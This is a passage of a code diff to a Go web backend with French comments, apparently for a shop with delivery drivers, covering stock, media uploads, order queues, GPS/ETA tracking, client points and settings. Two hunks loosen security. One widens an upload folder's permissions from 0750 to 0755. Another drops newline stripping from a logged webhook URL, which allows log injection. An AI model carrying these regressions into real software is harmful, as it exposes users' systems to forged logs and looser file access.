c.JSON(http.StatusBadRequest, gin.H{"error": "Stock invalide"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
log.Printf("🔄 [UpdateStock] %s met à jour le stock #%d (réservé en paniers: %.3f)", username, id, reserved)
|
|
||||||
|
|
||||||
if err := database.SetProductStock(id, req.Stock); err != nil {
|
|
||||||
log.Printf("❌ [UpdateProduct] Erreur UPDATE: %v", err)
|
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur mise à jour"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
updatedProduct, _ := database.GetProductByID(id)
|
|
||||||
media, _ := database.GetMediaByProductID(id)
|
|
||||||
updatedProduct.Media = media
|
|
||||||
|
|
||||||
log.Printf("✅ [UpdateStock] le stock #%d est mis à jour", id)
|
|
||||||
|
|
||||||
c.JSON(http.StatusOK, gin.H{
|
|
||||||
"success": true,
|
|
||||||
"product": updatedProduct,
|
|
||||||
"reserved_in_baskets": reserved,
|
|
||||||
})
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
func DeleteMedia(c *gin.Context) {
|
func DeleteMedia(c *gin.Context) {
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
@@ -862,7 +803,7 @@ func UploadMedia(c *gin.Context) {
|
|||||||
|
|
||||||
// ✅ CRÉER LE DOSSIER
|
// ✅ CRÉER LE DOSSIER
|
||||||
destFolder := filepath.Join("uploads", fileType+"s")
|
destFolder := filepath.Join("uploads", fileType+"s")
|
||||||
if err := os.MkdirAll(destFolder, 0750); err != nil {
|
if err := os.MkdirAll(destFolder, 0755); err != nil {
|
||||||
log.Printf("❌ [UploadMedia] Erreur création dossier: %v", err)
|
log.Printf("❌ [UploadMedia] Erreur création dossier: %v", err)
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur création dossier"})
|
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur création dossier"})
|
||||||
return
|
return
|
||||||
@@ -908,50 +849,6 @@ func UploadMedia(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func ActivePrice(c *gin.Context) {
|
|
||||||
database := c.MustGet("database").(*db.Database)
|
|
||||||
role := c.GetString("role")
|
|
||||||
if role != "admin" {
|
|
||||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
id, err := strconv.Atoi(c.Param("id"))
|
|
||||||
if err != nil || id <= 0 {
|
|
||||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
if err := database.AddActivePrice(id); err != nil {
|
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
c.JSON(http.StatusOK, gin.H{"message": "Prix activé avec succès"})
|
|
||||||
}
|
|
||||||
|
|
||||||
func DesActivePrice(c *gin.Context) {
|
|
||||||
database := c.MustGet("database").(*db.Database)
|
|
||||||
role := c.GetString("role")
|
|
||||||
if role != "admin" {
|
|
||||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
id, err := strconv.Atoi(c.Param("id"))
|
|
||||||
if err != nil || id <= 0 {
|
|
||||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
if err := database.DeActivePrice(id); err != nil {
|
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
c.JSON(http.StatusOK, gin.H{"message": "Prix désactivé avec succès"})
|
|
||||||
}
|
|
||||||
|
|
||||||
// ============================================
|
// ============================================
|
||||||
// DELETE PRODUCT - VERSION SÉCURISÉE
|
// DELETE PRODUCT - VERSION SÉCURISÉE
|
||||||
// ============================================
|
// ============================================
|
||||||
@@ -1050,26 +947,3 @@ func cleanFileName(name string) string {
|
|||||||
|
|
||||||
return result
|
return result
|
||||||
}
|
}
|
||||||
|
|
||||||
func filterActivePrices(products []models.Product) []models.Product {
|
|
||||||
for i := range products {
|
|
||||||
activePrices := []models.ProductPrice{}
|
|
||||||
for _, p := range products[i].Prices {
|
|
||||||
if p.ActivePrice {
|
|
||||||
activePrices = append(activePrices, p)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
products[i].Prices = activePrices
|
|
||||||
}
|
|
||||||
return products
|
|
||||||
}
|
|
||||||
|
|
||||||
func filterActivepricesSingle(product *models.Product) {
|
|
||||||
activePrices := []models.ProductPrice{}
|
|
||||||
for _, p := range product.Prices {
|
|
||||||
if p.ActivePrice {
|
|
||||||
activePrices = append(activePrices, p)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
product.Prices = activePrices
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -1,3 +1,8 @@
|
|||||||
|
// ============================================
|
||||||
|
// handlers/redis_handlers.go - VERSION FINALE
|
||||||
|
// UTILISE UNIQUEMENT LES MÉTHODES DB PostgreSQL
|
||||||
|
// ============================================
|
||||||
|
|
||||||
package handlers
|
package handlers
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -8,7 +13,6 @@ import (
|
|||||||
"gestion/utils"
|
"gestion/utils"
|
||||||
"log"
|
"log"
|
||||||
"net/http"
|
"net/http"
|
||||||
"slices"
|
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
@@ -16,6 +20,10 @@ import (
|
|||||||
"github.com/gin-gonic/gin"
|
"github.com/gin-gonic/gin"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// GESTION DE LA FILE DE COMMANDES
|
||||||
|
// ============================================
|
||||||
|
|
||||||
func validatePenaltyPoints(points int) error {
|
func validatePenaltyPoints(points int) error {
|
||||||
if points <= 0 {
|
if points <= 0 {
|
||||||
return fmt.Errorf("points invalides: %d (doit être > 0)", points)
|
return fmt.Errorf("points invalides: %d (doit être > 0)", points)
|
||||||
@@ -39,6 +47,72 @@ func sanitizeReason(reason string) string {
|
|||||||
return strings.TrimSpace(reason)
|
return strings.TrimSpace(reason)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// GetCommandQueue récupère toutes les commandes en attente dans la file Redis
|
||||||
|
// GET /api/v2/admin/protected/queue/pending
|
||||||
|
func GetCommandQueue(c *gin.Context) {
|
||||||
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
|
userRole := c.GetString("role")
|
||||||
|
if userRole != "admin" {
|
||||||
|
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
nextCommand, err := database.GetNextCommandInQueue()
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"success": true,
|
||||||
|
"message": "Aucune commande en attente",
|
||||||
|
"queue": []interface{}{},
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"success": true,
|
||||||
|
"next_command": nextCommand,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// AutoAssignNextCommand assigne automatiquement la prochaine commande en file
|
||||||
|
// POST /api/v2/admin/protected/queue/auto-assign
|
||||||
|
func AutoAssignNextCommand(c *gin.Context) {
|
||||||
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
|
userRole := c.GetString("role")
|
||||||
|
if userRole != "admin" {
|
||||||
|
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
nextCommand, err := database.GetNextCommandInQueue()
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusNotFound, gin.H{
|
||||||
|
"error": "Aucune commande en attente",
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
err = database.AutoAssignCommand(nextCommand.CommandID)
|
||||||
|
if err != nil {
|
||||||
|
utils.ServerErr(c, "Erreur lors de l'assignation automatique", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"success": true,
|
||||||
|
"message": "Commande assignée automatiquement",
|
||||||
|
"command_id": nextCommand.CommandID,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// GESTION DES LIVREURS - LOCALISATION
|
||||||
|
// ============================================
|
||||||
|
|
||||||
|
// UpdateLivreurLocation met à jour la position GPS du livreur
|
||||||
|
// POST /api/v1/livreur/location/update
|
||||||
|
// Body: {"latitude": 48.8566, "longitude": 2.3522}
|
||||||
func UpdateLivreurLocation(c *gin.Context) {
|
func UpdateLivreurLocation(c *gin.Context) {
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
@@ -97,7 +171,7 @@ func UpdateLivreurLocation(c *gin.Context) {
|
|||||||
usernameStr, req.Latitude, req.Longitude)
|
usernameStr, req.Latitude, req.Longitude)
|
||||||
|
|
||||||
// ✅ Recalculer l'ETA en temps réel si livreur en_route
|
// ✅ Recalculer l'ETA en temps réel si livreur en_route
|
||||||
go refreshETAForActivDelivery(usernameStr, req.Latitude, req.Longitude)
|
go refreshETAForActivDelivery(database, usernameStr, req.Latitude, req.Longitude)
|
||||||
|
|
||||||
// ✅ 2. Vérifier/Initialiser le statut du livreur
|
// ✅ 2. Vérifier/Initialiser le statut du livreur
|
||||||
statusKey := fmt.Sprintf("delivery:status:%s", usernameStr)
|
statusKey := fmt.Sprintf("delivery:status:%s", usernameStr)
|
||||||
@@ -216,6 +290,14 @@ func GetDeliveryPersonLocation(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// LOCALISATION DU LIVREUR POUR UNE COMMANDE
|
||||||
|
// ============================================
|
||||||
|
|
||||||
|
// GetDeliverymanLocationForCommand récupère la position GPS du livreur assigné à une commande
|
||||||
|
// GET /api/v2/admin/protected/commands/:id/deliveryman/location (ADMIN)
|
||||||
|
// GET /api/v1/cabine/commands/:id/deliveryman/location (CABINE)
|
||||||
|
// Accessible uniquement par les admins et la cabine
|
||||||
func GetDeliverymanLocationForCommand(c *gin.Context) {
|
func GetDeliverymanLocationForCommand(c *gin.Context) {
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
@@ -378,6 +460,13 @@ func GetDeliverymanLocationForCommand(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// GESTION DES LIVREURS - STATUT
|
||||||
|
// ============================================
|
||||||
|
|
||||||
|
// UpdateDeliveryPersonStatus met à jour le statut de disponibilité du livreur
|
||||||
|
// POST /api/v1/livreur/status
|
||||||
|
// Body: {"status": "available" | "busy" | "offline"}
|
||||||
func UpdateDeliveryPersonStatus(c *gin.Context) {
|
func UpdateDeliveryPersonStatus(c *gin.Context) {
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
@@ -401,9 +490,18 @@ func UpdateDeliveryPersonStatus(c *gin.Context) {
|
|||||||
utils.BindErr(c, err)
|
utils.BindErr(c, err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
validStatuses := []string{"available", "busy", "offline"}
|
|
||||||
|
|
||||||
if !slices.Contains(validStatuses, req.Status) {
|
// Validation du statut
|
||||||
|
validStatuses := []string{"available", "busy", "offline"}
|
||||||
|
isValid := false
|
||||||
|
for _, s := range validStatuses {
|
||||||
|
if req.Status == s {
|
||||||
|
isValid = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if !isValid {
|
||||||
c.JSON(http.StatusBadRequest, gin.H{
|
c.JSON(http.StatusBadRequest, gin.H{
|
||||||
"error": "Statut invalide",
|
"error": "Statut invalide",
|
||||||
"valid_statuses": validStatuses,
|
"valid_statuses": validStatuses,
|
||||||
@@ -411,6 +509,7 @@ func UpdateDeliveryPersonStatus(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
usernameStr := username.(string)
|
usernameStr := username.(string)
|
||||||
|
|
||||||
err := database.SetDeliveryPersonStatus(usernameStr, req.Status, 0)
|
err := database.SetDeliveryPersonStatus(usernameStr, req.Status, 0)
|
||||||
@@ -505,6 +604,118 @@ func GetMyQueue(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// GetAvailableDeliveryPersonsRealtime récupère les livreurs disponibles depuis Redis
|
||||||
|
// GET /api/v2/admin/protected/delivery/available-realtime
|
||||||
|
func GetAvailableDeliveryPersonsRealtime(c *gin.Context) {
|
||||||
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
|
userRole := c.GetString("role")
|
||||||
|
if userRole != "admin" {
|
||||||
|
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
livreurs, err := database.GetAvailableDeliveryPersonsRedis()
|
||||||
|
if err != nil {
|
||||||
|
utils.ServerErr(c, "Erreur lors de la récupération des livreurs", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"success": true,
|
||||||
|
"livreurs": livreurs,
|
||||||
|
"count": len(livreurs),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// GESTION ETA (Estimated Time of Arrival)
|
||||||
|
// ============================================
|
||||||
|
|
||||||
|
// SetCommandETAHandler permet au livreur de définir l'ETA d'une livraison
|
||||||
|
// POST /api/v1/livreur/deliveries/:id/set-eta
|
||||||
|
// Body: {"eta_minutes": 25}
|
||||||
|
func SetCommandETAHandler(c *gin.Context) {
|
||||||
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
|
username, exists := c.Get("username")
|
||||||
|
if !exists {
|
||||||
|
c.JSON(http.StatusUnauthorized, gin.H{"error": "Non authentifié"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
userRole := c.GetString("role")
|
||||||
|
if userRole != "livreur" {
|
||||||
|
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux livreurs"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
commandID, err := strconv.Atoi(c.Param("id"))
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var req struct {
|
||||||
|
ETAMinutes int `json:"eta_minutes" binding:"required"`
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := c.ShouldBindJSON(&req); err != nil {
|
||||||
|
utils.BindErr(c, err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Validation de l'ETA
|
||||||
|
if req.ETAMinutes < 1 || req.ETAMinutes > 120 {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{
|
||||||
|
"error": "L'ETA doit être entre 1 et 120 minutes",
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
usernameStr := username.(string)
|
||||||
|
|
||||||
|
// Vérifier que la commande existe et est assignée au livreur
|
||||||
|
command, err := database.GetCommandByID(commandID)
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusNotFound, gin.H{
|
||||||
|
"error": "Commande non trouvée",
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
livreurAssign, ok := command["livreur_assign"].(string)
|
||||||
|
if !ok || livreurAssign != usernameStr {
|
||||||
|
c.JSON(http.StatusForbidden, gin.H{
|
||||||
|
"error": "Cette commande ne vous est pas assignée",
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Mettre à jour l'ETA dans Redis
|
||||||
|
err = database.SetCommandETA(commandID, req.ETAMinutes)
|
||||||
|
if err != nil {
|
||||||
|
utils.ServerErr(c, "Erreur lors de la mise à jour de l'ETA", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("⏱️ ETA défini pour commande %d par %s: %d minutes", commandID, usernameStr, req.ETAMinutes)
|
||||||
|
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"success": true,
|
||||||
|
"message": "ETA mis à jour avec succès",
|
||||||
|
"command_id": commandID,
|
||||||
|
"eta_minutes": req.ETAMinutes,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// PÉNALITÉS - UTILISE PostgreSQL
|
||||||
|
// ============================================
|
||||||
|
|
||||||
|
// ApplyClientPenalty applique une pénalité à un client (Admin seulement)
|
||||||
|
// POST /api/v2/admin/protected/penalty
|
||||||
|
// Body: {"username": "john", "points": 50, "reason": "Retard paiement"}
|
||||||
func ApplyClientPenalty(c *gin.Context) {
|
func ApplyClientPenalty(c *gin.Context) {
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
@@ -782,6 +993,9 @@ func ResetClientPenaltiesAdmin(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// AddClientPointsAdmin ajoute des points à un client dans un pool donné (Admin/Cabine)
|
||||||
|
// POST /api/v2/admin/protected/client/:username/points/add
|
||||||
|
// Body: {"pool_key": "pool_0", "points": 10}
|
||||||
func AddClientPointsAdmin(c *gin.Context) {
|
func AddClientPointsAdmin(c *gin.Context) {
|
||||||
userRole := c.GetString("role")
|
userRole := c.GetString("role")
|
||||||
if userRole != "admin" && userRole != "cabine" {
|
if userRole != "admin" && userRole != "cabine" {
|
||||||
@@ -826,7 +1040,7 @@ func AddClientPointsAdmin(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
if !poolExists {
|
if !poolExists {
|
||||||
c.JSON(http.StatusBadRequest, gin.H{
|
c.JSON(http.StatusBadRequest, gin.H{
|
||||||
"error": "Pool de points invalide",
|
"error": "Pool de points invalide",
|
||||||
"pools_valides": func() []string {
|
"pools_valides": func() []string {
|
||||||
keys := make([]string, 0, len(settings.PointsPools))
|
keys := make([]string, 0, len(settings.PointsPools))
|
||||||
for _, p := range settings.PointsPools {
|
for _, p := range settings.PointsPools {
|
||||||
@@ -859,6 +1073,9 @@ func AddClientPointsAdmin(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// SubtractClientPointsAdmin retire des points à un client (plancher à 0)
|
||||||
|
// POST /api/v2/admin/protected/client/:username/points/subtract
|
||||||
|
// Body: {"pool_key": "pool_0", "points": 10}
|
||||||
func SubtractClientPointsAdmin(c *gin.Context) {
|
func SubtractClientPointsAdmin(c *gin.Context) {
|
||||||
userRole := c.GetString("role")
|
userRole := c.GetString("role")
|
||||||
if userRole != "admin" && userRole != "cabine" {
|
if userRole != "admin" && userRole != "cabine" {
|
||||||
@@ -947,6 +1164,12 @@ func SubtractClientPointsAdmin(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// STATISTIQUES TEMPS RÉEL
|
||||||
|
// ============================================
|
||||||
|
|
||||||
|
// GetRealtimeStats récupère les statistiques en temps réel
|
||||||
|
// GET /api/v2/admin/protected/stats/realtime
|
||||||
func GetRealtimeStats(c *gin.Context) {
|
func GetRealtimeStats(c *gin.Context) {
|
||||||
userRole := c.GetString("role")
|
userRole := c.GetString("role")
|
||||||
if userRole != "admin" {
|
if userRole != "admin" {
|
||||||
@@ -977,7 +1200,13 @@ func GetRealtimeStats(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func refreshETAForActivDelivery(username string, lat, lon float64) {
|
// ============================================
|
||||||
|
// RECALCUL ETA EN TEMPS RÉEL (appelé à chaque update GPS)
|
||||||
|
// ============================================
|
||||||
|
|
||||||
|
// refreshETAForActivDelivery recalcule l'ETA depuis la position actuelle du livreur.
|
||||||
|
// Appelé en goroutine à chaque mise à jour GPS (toutes les ~15s).
|
||||||
|
func refreshETAForActivDelivery(database *db.Database, username string, lat, lon float64) {
|
||||||
// 1. Récupérer le statut actuel du livreur
|
// 1. Récupérer le statut actuel du livreur
|
||||||
statusKey := fmt.Sprintf("delivery:status:%s", username)
|
statusKey := fmt.Sprintf("delivery:status:%s", username)
|
||||||
statusData, err := db.Redis.Get(db.RedisCtx, statusKey).Result()
|
statusData, err := db.Redis.Get(db.RedisCtx, statusKey).Result()
|
||||||
|
|||||||
@@ -7,7 +7,6 @@ import (
|
|||||||
"log"
|
"log"
|
||||||
"net/http"
|
"net/http"
|
||||||
"os"
|
"os"
|
||||||
"strings"
|
|
||||||
|
|
||||||
"github.com/gin-gonic/gin"
|
"github.com/gin-gonic/gin"
|
||||||
)
|
)
|
||||||
@@ -47,7 +46,6 @@ func GetPublicSettings(c *gin.Context) {
|
|||||||
"telegram_notifications_enabled": settings.TelegramNotificationsEnabled,
|
"telegram_notifications_enabled": settings.TelegramNotificationsEnabled,
|
||||||
"shop_name": settings.ShopName,
|
"shop_name": settings.ShopName,
|
||||||
"two_fa_enabled": settings.Telegram2FAEnabled,
|
"two_fa_enabled": settings.Telegram2FAEnabled,
|
||||||
"contact_telegram": settings.ContactTelegram,
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -91,7 +89,7 @@ func UpdateSettings(c *gin.Context) {
|
|||||||
if err := services.TelegramBot.SetWebhook(webhookURL); err != nil {
|
if err := services.TelegramBot.SetWebhook(webhookURL); err != nil {
|
||||||
log.Printf("⚠️ [SETTINGS] Erreur enregistrement webhook Telegram: %v", err)
|
log.Printf("⚠️ [SETTINGS] Erreur enregistrement webhook Telegram: %v", err)
|
||||||
} else {
|
} else {
|
||||||
log.Printf("✅ [SETTINGS] Webhook Telegram enregistré: %s", strings.NewReplacer("\n", "", "\r", "").Replace(webhookURL))
|
log.Printf("✅ [SETTINGS] Webhook Telegram enregistré: %s", webhookURL)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,260 +0,0 @@
|
|||||||
package handlers
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"gestion/db"
|
|
||||||
"gestion/models"
|
|
||||||
"net/http"
|
|
||||||
|
|
||||||
"github.com/gin-gonic/gin"
|
|
||||||
)
|
|
||||||
|
|
||||||
var weekdayNames = []string{"Dimanche", "Lundi", "Mardi", "Mercredi", "Jeudi", "Vendredi", "Samedi"}
|
|
||||||
|
|
||||||
// GetAdminStats returns aggregated order & product statistics for the admin dashboard.
|
|
||||||
func GetAdminStats(c *gin.Context) {
|
|
||||||
database := c.MustGet("database").(*db.Database)
|
|
||||||
gdb := database.GDB
|
|
||||||
|
|
||||||
// ── Commandes par jour de la semaine (all time, non annulées) ──────────────
|
|
||||||
var wdRows []models.WeekdayRow
|
|
||||||
gdb.Raw(`
|
|
||||||
SELECT EXTRACT(DOW FROM created_at)::int AS dow, COUNT(*) AS count
|
|
||||||
FROM commandes
|
|
||||||
WHERE status != 'cancelled'
|
|
||||||
GROUP BY dow
|
|
||||||
ORDER BY dow
|
|
||||||
`).Scan(&wdRows)
|
|
||||||
|
|
||||||
byWeekday := make([]gin.H, 7)
|
|
||||||
wdMap := make(map[int]int, len(wdRows))
|
|
||||||
for _, r := range wdRows {
|
|
||||||
wdMap[r.DOW] = r.Count
|
|
||||||
}
|
|
||||||
peakCount, peakWeekday := 0, ""
|
|
||||||
for i := 0; i < 7; i++ {
|
|
||||||
cnt := wdMap[i]
|
|
||||||
byWeekday[i] = gin.H{"weekday": weekdayNames[i], "count": cnt}
|
|
||||||
if cnt > peakCount {
|
|
||||||
peakCount = cnt
|
|
||||||
peakWeekday = weekdayNames[i]
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Commandes par jour sur 30 jours ───────────────────────────────────────
|
|
||||||
var dayRows []models.DayRow
|
|
||||||
gdb.Raw(`
|
|
||||||
SELECT DATE(created_at) AS day, COUNT(*) AS count
|
|
||||||
FROM commandes
|
|
||||||
WHERE created_at >= NOW() - INTERVAL '30 days'
|
|
||||||
AND status != 'cancelled'
|
|
||||||
GROUP BY DATE(created_at)
|
|
||||||
ORDER BY day
|
|
||||||
`).Scan(&dayRows)
|
|
||||||
|
|
||||||
byDay := make([]gin.H, len(dayRows))
|
|
||||||
for i, r := range dayRows {
|
|
||||||
byDay[i] = gin.H{
|
|
||||||
"day": r.Day.Format("2006-01-02"),
|
|
||||||
"label": r.Day.Format("02/01"),
|
|
||||||
"count": r.Count,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Revenus par jour sur 30 jours (commandes approuvées) ─────────────────
|
|
||||||
var dayRevRows []models.DayRevenueRow
|
|
||||||
gdb.Raw(`
|
|
||||||
SELECT DATE(created_at) AS day, COALESCE(SUM(total_prix - COALESCE(referral_used, 0)), 0) AS revenue
|
|
||||||
FROM commandes
|
|
||||||
WHERE created_at >= NOW() - INTERVAL '30 days'
|
|
||||||
AND status = 'approved'
|
|
||||||
GROUP BY DATE(created_at)
|
|
||||||
ORDER BY day
|
|
||||||
`).Scan(&dayRevRows)
|
|
||||||
|
|
||||||
byDayRevenue := make([]gin.H, len(dayRevRows))
|
|
||||||
for i, r := range dayRevRows {
|
|
||||||
byDayRevenue[i] = gin.H{
|
|
||||||
"day": r.Day.Format("2006-01-02"),
|
|
||||||
"label": r.Day.Format("02/01"),
|
|
||||||
"revenue": r.Revenue,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Commandes & revenus par heure (all time, non annulées) ───────────────
|
|
||||||
var hourRows []models.HourRow
|
|
||||||
gdb.Raw(`
|
|
||||||
SELECT
|
|
||||||
EXTRACT(HOUR FROM created_at)::int AS hour,
|
|
||||||
COUNT(*) AS count,
|
|
||||||
COALESCE(SUM(total_prix - COALESCE(referral_used, 0)), 0) AS revenue
|
|
||||||
FROM commandes
|
|
||||||
WHERE status != 'cancelled'
|
|
||||||
GROUP BY hour
|
|
||||||
ORDER BY hour
|
|
||||||
`).Scan(&hourRows)
|
|
||||||
|
|
||||||
hourMap := make(map[int]models.HourRow, len(hourRows))
|
|
||||||
for _, r := range hourRows {
|
|
||||||
hourMap[r.Hour] = r
|
|
||||||
}
|
|
||||||
byHour := make([]gin.H, 24)
|
|
||||||
for h := 0; h < 24; h++ {
|
|
||||||
r := hourMap[h]
|
|
||||||
byHour[h] = gin.H{
|
|
||||||
"hour": h,
|
|
||||||
"label": fmt.Sprintf("%02dh", h),
|
|
||||||
"count": r.Count,
|
|
||||||
"revenue": r.Revenue,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Top produits (quantité vendue, commandes terminées) ───────────────────
|
|
||||||
var prodRows []models.ProductRow
|
|
||||||
gdb.Raw(`
|
|
||||||
SELECT
|
|
||||||
ci.product_id,
|
|
||||||
ci.produit AS name,
|
|
||||||
SUM(ci.quantite) AS total_quantity,
|
|
||||||
COUNT(DISTINCT ci.command_id) AS order_count,
|
|
||||||
SUM(ci.prix) AS revenue,
|
|
||||||
COALESCE(p.category, '') AS category,
|
|
||||||
COALESCE(cat.color, '#7c3aed') AS category_color
|
|
||||||
FROM command_items ci
|
|
||||||
JOIN commandes c ON c.id = ci.command_id
|
|
||||||
LEFT JOIN products p ON p.id = ci.product_id
|
|
||||||
LEFT JOIN categories cat ON cat.name = p.category
|
|
||||||
WHERE c.status != 'cancelled'
|
|
||||||
GROUP BY ci.product_id, ci.produit, p.category, cat.color
|
|
||||||
ORDER BY total_quantity DESC
|
|
||||||
LIMIT 15
|
|
||||||
`).Scan(&prodRows)
|
|
||||||
|
|
||||||
topProducts := make([]gin.H, len(prodRows))
|
|
||||||
topProductName := ""
|
|
||||||
for i, r := range prodRows {
|
|
||||||
topProducts[i] = gin.H{
|
|
||||||
"product_id": r.ProductID,
|
|
||||||
"name": r.Name,
|
|
||||||
"quantity": r.Quantity,
|
|
||||||
"order_count": r.OrderCount,
|
|
||||||
"revenue": r.Revenue,
|
|
||||||
"category": r.Category,
|
|
||||||
"category_color": r.CategoryColor,
|
|
||||||
}
|
|
||||||
if i == 0 {
|
|
||||||
topProductName = r.Name
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Répartition des doses/quantités par produit ───────────────────────────
|
|
||||||
var qtyRows []models.QuantityBreakdownRow
|
|
||||||
gdb.Raw(`
|
|
||||||
SELECT
|
|
||||||
ci.product_id,
|
|
||||||
ci.produit AS product_name,
|
|
||||||
ci.quantite AS quantity,
|
|
||||||
COUNT(DISTINCT ci.command_id) AS order_count,
|
|
||||||
SUM(ci.quantite) AS total_sold,
|
|
||||||
SUM(ci.prix) AS revenue,
|
|
||||||
COALESCE(cat.color, '#7c3aed') AS category_color
|
|
||||||
FROM command_items ci
|
|
||||||
JOIN commandes c ON c.id = ci.command_id
|
|
||||||
LEFT JOIN products p ON p.id = ci.product_id
|
|
||||||
